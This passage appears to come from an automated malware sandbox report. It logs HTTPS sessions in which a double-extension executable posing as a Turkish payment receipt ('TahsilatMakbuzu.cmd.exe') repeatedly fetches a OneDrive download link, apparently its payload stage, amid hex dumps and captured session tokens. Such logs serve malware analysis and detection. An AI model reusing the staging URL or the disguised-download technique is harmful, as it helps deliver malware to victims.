lpXSBPqmmPNDBLrrF2JJCd3mjhW7Wmq5mG3LvXR5Vc4oqoyq192KPefeDu9xfQOpBELAKMXeW95e3Aoa_aemyq4ywE6qKFnoNC4UF_ip8x5w0w9DvgeXNrRQ79AV2d2Br-pBY7iBfMxUWdlBe3wx6m9K5g; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:47 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-6zrqp X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0289F5D4256142DD89C237F81694DF21 Ref B: BN3EDGE0419 Ref C: 2024-07-04T18:16:46Z Date: Thu, 04 Jul 2024 18:16:47 GMT Connection: close
2024-07-04 18:16:47 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49766	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:48 UTC	1285	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODA2LCJuYmYiOjE3MjAxMTcwMDYsImdpdmVuX25hbWUiOiI0MyIsImZhbWlseV9uYW1lIjoiV3JlbiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImFjNDUxNjg0N2E0ZGQ4ZTcyNjY5YTYyNzE1M2FlM2QzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwMDZ9.dDCFs8f1d0ugKdk9rQOfqLyzh-luw1YMdsjkkcGKnIUUmY2f7pMzAm9N_nygBwDwdWbdvXBMuHqLdw01o9tpre1sIHw0PebpAx9j7bWkTqOKZIztXQ8N1vjxLFztHVThvjoaiVFI3e2o77sHx8U2KX0wdfriQ-jCszWG_ZlxzPjbognOoVTSxvIAV2_RlpXSBPqmmPNDBLrrF2JJCd3mjhW7Wmq5mG3LvXR5Vc4oqoyq192KPefeDu9xfQOpBELAKMXeW95e3Aoa_aemyq4ywE6qKFnoNC4UF_ip8x5w0w9DvgeXNrRQ79AV2d2Br-pBY7iBfMxUWdlBe3wx6m9K5g; E=P:GbUld1Wc3Ig=:t22Ik5vnCX5++CgJwZcc65dGIUF/GHUcRkyRMZx5VAk=:F; xid=0127c4b6-9d28-44a4-bd06-2c593c2fd4b7 [TRUNCATED]
2024-07-04 18:16:48 UTC	1927	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205869 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,146,25280,0,149030,71 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 361239a1-10fc-5000-f3bc-9cbd1a1f9bdd request-id: 361239a1-10fc-5000-f3bc-9cbd1a1f9bdd MS-CV: oTkSNvwQAFDzvJy9Gh+b3Q.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 29 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 119BA60CE8C64CFBB7AF06392F7A3801 Ref B: BN3EDGE0214 Ref C: 2024-07-04T18:16:48Z Date: Thu, 04 Jul 2024 18:16:47 GMT Connection: close
2024-07-04 18:16:48 UTC	3638	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:48 UTC	8192	IN	Data Raw: 36 33 34 2d 39 45 46 46 2d 32 43 32 31 42 44 43 33 45 38 41 33 22 3a 74 72 75 65 2c 22 36 36 46 46 45 41 30 31 2d 45 39 31 39 2d 34 39 39 32 2d 38 37 46 32 2d 30 36 39 33 43 43 36 43 37 42 35 30 22 3a 74 72 75 65 2c 22 37 30 35 43 46 44 37 33 2d 35 33 45 33 2d 34 34 38 33 2d 42 36 44 32 2d 44 33 38 34 45 36 43 37 44 33 35 45 22 3a 74 72 75 65 2c 22 39 30 38 43 39 34 44 33 2d 34 37 35 33 2d 34 38 43 36 2d 41 37 36 41 2d 37 41 39 39 38 43 36 41 32 38 31 34 22 3a 74 72 75 65 2c 22 46 38 31 37 42 34 31 33 2d 30 34 30 42 2d 34 39 31 41 2d 42 39 43 35 2d 44 30 46 45 35 42 39 36 32 33 35 33 22 3a 74 72 75 65 2c 22 44 39 43 35 30 34 39 31 2d 44 31 34 34 2d 34 34 31 43 2d 42 46 37 34 2d 37 35 41 44 39 42 34 37 39 43 30 41 22 3a 74 72 75 65 2c 22 39 32 38 33 31 46 Data Ascii: 634-9EFF-2C21BDC3E8A3":true,"66FFEA01-E919-4992-87F2-0693CC6C7B50":true,"705CFD73-53E3-4483-B6D2-D384E6C7D35E":true,"908C94D3-4753-48C6-A76A-7A998C6A2814":true,"F817B413-040B-491A-B9C5-D0FE5B962353":true,"D9C50491-D144-441C-BF74-75AD9B479C0A":true,"92831F
2024-07-04 18:16:48 UTC	2745	IN	Data Raw: 2d 43 31 34 32 33 34 35 39 34 31 36 35 22 3a 74 72 75 65 2c 22 36 31 46 31 44 42 41 33 2d 35 31 36 33 2d 34 37 30 39 2d 39 34 45 46 2d 44 33 42 33 46 42 32 44 36 33 42 41 22 3a 74 72 75 65 2c 22 44 33 42 37 30 30 44 43 2d 31 41 36 31 2d 34 33 35 36 2d 38 43 44 43 2d 44 30 32 46 41 34 32 31 34 36 32 37 22 3a 74 72 75 65 2c 22 33 44 34 43 45 36 43 34 2d 39 37 41 43 2d 34 31 31 34 2d 41 43 35 43 2d 38 44 30 44 30 46 38 38 44 36 43 35 22 3a 74 72 75 65 2c 22 32 41 43 38 31 31 33 38 2d 44 30 38 36 2d 34 36 35 45 2d 38 32 41 45 2d 30 33 34 41 34 42 33 33 34 36 43 33 22 3a 74 72 75 65 2c 22 37 39 31 31 34 31 31 45 2d 43 39 32 46 2d 34 43 44 30 2d 41 41 32 36 2d 43 33 37 39 44 34 46 39 34 43 42 45 22 3a 74 72 75 65 2c 22 32 37 33 38 35 35 35 38 2d 33 31 45 43 2d Data Ascii: -C14234594165":true,"61F1DBA3-5163-4709-94EF-D3B3FB2D63BA":true,"D3B700DC-1A61-4356-8CDC-D02FA4214627":true,"3D4CE6C4-97AC-4114-AC5C-8D0D0F88D6C5":true,"2AC81138-D086-465E-82AE-034A4B3346C3":true,"7911411E-C92F-4CD0-AA26-C379D4F94CBE":true,"27385558-31EC-
2024-07-04 18:16:48 UTC	8192	IN	Data Raw: 75 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 Data Ascii: ue,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2
2024-07-04 18:16:48 UTC	8192	IN	Data Raw: 45 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 Data Ascii: E5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":t
2024-07-04 18:16:48 UTC	8192	IN	Data Raw: 31 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 Data Ascii: 1-4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF
2024-07-04 18:16:48 UTC	8192	IN	Data Raw: 45 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 Data Ascii: E2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A
2024-07-04 18:16:48 UTC	8192	IN	Data Raw: 43 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d Data Ascii: C42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-
2024-07-04 18:16:48 UTC	8192	IN	Data Raw: 22 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 Data Ascii: ":true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377
2024-07-04 18:16:48 UTC	8192	IN	Data Raw: 37 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 Data Ascii: 7AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49768	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:49 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:49 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SA2PPF117DD9767 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: W5gbbffFiESpdssL219nFQ.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 56E6764D387E4A979F73572AF150873D Ref B: EWR30EDGE1414 Ref C: 2024-07-04T18:16:49Z Date: Thu, 04 Jul 2024 18:16:48 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49769	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:50 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:51 UTC	2223	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:B1FieVWc3Ig=:hem1BL/yjr2leFUwsfjC2mk7qR/8c6Qh4lplsPfcmg8=:F; domain=.live.com; path=/ Set-Cookie: xid=8ad4d231-d03a-4355-a0cc-fe01ec3ed3c2&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:50 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODEwLCJuYmYiOjE3MjAxMTcwMTAsImdpdmVuX25hbWUiOiI2MiIsImZhbWlseV9uYW1lIjoiU2VhIGxpb24iLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJiMTI4N2RjZDFlMmQ4ODMzNjIxMTM2ZDM2OGRhZDhmNSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDEwfQ.fEvUuSteAPVmrxgPcq1Jqi7xrPSUtGLJ_UBefkjjqgEsXH-in1zDm2mZzvCKQg_TERWZIEVrbjqp0PPkmKdBMRxr7csft_vI4RwjtFJnw_AT8oNg9aSK108dV7uG2yNq7kNoOixCkHED1f1BfdbDcuBQ4o2XPGKuhGIh1P_KovO5_v-bEGLVyrGzPxkdLyZuNI2vRVlJFHQmcYrkLIWcgfUS9EQ4oKobjZmUaL1MDjPTprj3M9TJV7OZVA2nNF7HcVhUFjkpj3_mgNcfAPI8ppTq9uOscFQAopAe33WNXgoXKkQIbGOwMz-OxEU7nO94He7VWDSj_pMHomFW_dg2wQ; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:50 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-mvfdc X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: FC3E394B4BF5462C90229BB294A4B470 Ref B: BN3EDGE0416 Ref C: 2024-07-04T18:16:50Z Date: Thu, 04 Jul 2024 18:16:50 GMT Connection: close
2024-07-04 18:16:51 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49770	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
